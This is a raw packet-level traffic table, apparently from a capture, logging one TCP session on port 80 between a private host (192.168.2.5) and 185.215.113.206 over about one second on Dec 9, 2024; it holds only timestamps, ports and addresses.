Dec 9, 2024 15:29:30.559928894 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.559943914 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.559981108 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.560007095 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.561862946 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.561877966 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.561908007 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.561932087 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.563857079 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.563873053 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.563884974 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.563951015 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.563951015 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.565778971 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.565795898 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.565880060 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.565880060 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.567852974 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.567867994 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.567929983 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.567965031 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.658163071 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.658245087 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.658608913 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.658672094 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.659446001 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.659518003 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.660223961 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.660296917 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.661156893 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.661173105 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.661238909 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.661263943 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.662754059 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.662769079 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.662817955 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.664414883 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.664432049 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.664536953 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.666243076 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.666256905 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.666312933 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.668006897 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.668025970 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.668068886 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.668102980 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.669914961 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.669934034 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.669991970 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.671722889 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.671735048 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.671788931 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.673465014 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.673479080 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.673542976 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.673585892 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.675817966 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.675832033 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.675875902 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.675913095 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.678095102 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.678118944 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.678154945 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.678174973 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.680058956 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.680083036 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.680094957 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.680121899 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.680141926 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.682307005 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.682321072 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.682370901 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.684245110 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.684258938 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.684314966 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.686100960 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.686126947 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.686197042 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.687938929 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.687952995 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.687963963 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.688009024 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.689934969 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.689949989 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.690005064 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.692045927 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.692111015 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.692116022 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.692156076 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.693897009 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.693911076 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.693959951 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.695410013 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.695460081 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.695525885 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.697695017 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.697710991 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.697731018 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.697746038 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.697772980 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.699610949 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.699668884 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.701637983 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.701656103 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.701711893 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.703496933 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.703514099 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.703556061 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.705455065 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.705478907 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.705491066 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.705524921 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.705568075 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.707652092 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.707665920 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.707724094 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.709445000 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.709466934 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.709516048 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.711332083 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.711345911 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.711401939 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.713238955 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.713253021 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.713352919 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.715065956 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.715080023 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.715090990 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.715138912 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.717185974 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.717201948 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.717252970 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.718832016 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.718846083 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.718899965 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.718919992 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.720505953 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.720520020 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.720700026 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.722376108 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.722388983 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.722433090 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.724314928 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.724329948 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.724369049 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.724392891 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.726913929 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.726929903 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.726999044 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.728528976 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.728542089 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.728559017 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.728626966 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.728626966 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.730416059 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.730458975 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.730468988 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.730602980 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.732415915 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.732430935 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.732477903 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.734241962 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.734256029 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.734311104 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.736267090 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.736290932 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.736303091 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.736423016 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.740040064 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.740101099 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.741836071 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.741897106 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.750041962 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.750056982 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.750067949 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:30.750119925 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.795346022 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:30.914685011 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.238464117 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.238543034 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.238848925 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.238945007 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.239006996 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.239059925 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.239888906 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.239953995 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.240639925 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.240909100 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.241472960 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.241568089 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.242655993 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.242671013 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.242733955 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.244450092 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.244466066 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.244517088 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.248397112 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.248459101 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.250093937 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.250111103 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.250175953 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.251710892 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.251732111 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.251771927 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.251797915 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.253330946 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.253362894 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.253397942 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.253427982 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.255039930 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.255060911 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.255115032 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.256630898 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.256659031 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.256670952 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.256691933 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.256742001 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.259175062 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.259188890 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.259239912 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.261152983 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.261194944 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.261264086 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.262646914 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.262661934 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.262723923 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.264417887 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.264431953 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.264442921 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.264501095 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.266489029 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.266503096 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.266562939 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.268377066 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.268431902 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.268475056 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.268498898 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.270289898 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.270306110 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.270365000 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.272317886 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.272332907 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.272396088 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.274143934 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.274158001 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.274169922 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.274234056 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.274234056 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.276087046 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.276101112 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.276156902 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.278033972 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.278047085 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.278121948 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.280101061 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.280114889 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.280189037 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.282567024 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.282582045 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.282646894 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.284624100 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.284655094 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.284667015 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.284709930 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.284742117 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.286309958 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.286325932 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.286381006 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.288146019 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.288178921 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.288223982 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.288252115 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.289999008 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.290014982 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.290066957 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.291858912 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.291873932 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.291884899 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.291950941 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.291969061 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.294097900 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.294115067 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.294171095 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.296026945 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.296039104 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.296097040 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.297579050 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.297604084 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.297673941 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.297673941 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.299489021 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.299540043 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.299566031 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.299583912 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.301691055 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.301723957 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.301733971 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.301779032 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.301809072 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.303601980 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.303625107 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.303710938 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.303710938 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.305574894 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.305597067 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.305641890 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.307390928 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.307435036 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.307466984 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.307486057 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.309364080 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.309376001 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.309432983 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.311409950 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.311424017 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.311434984 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.311480999 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.313841105 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.313864946 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.313936949 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.313981056 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.316314936 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.316328049 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.316387892 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.318445921 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.318459034 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.318514109 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.320493937 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.320506096 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.320555925 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.322849989 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.322861910 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.322874069 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.322913885 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.322941065 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.324907064 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.324919939 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.324995995 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:31.326817989 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:31.326829910 CET	80	49767	185.215.113.206	192.168.2.5
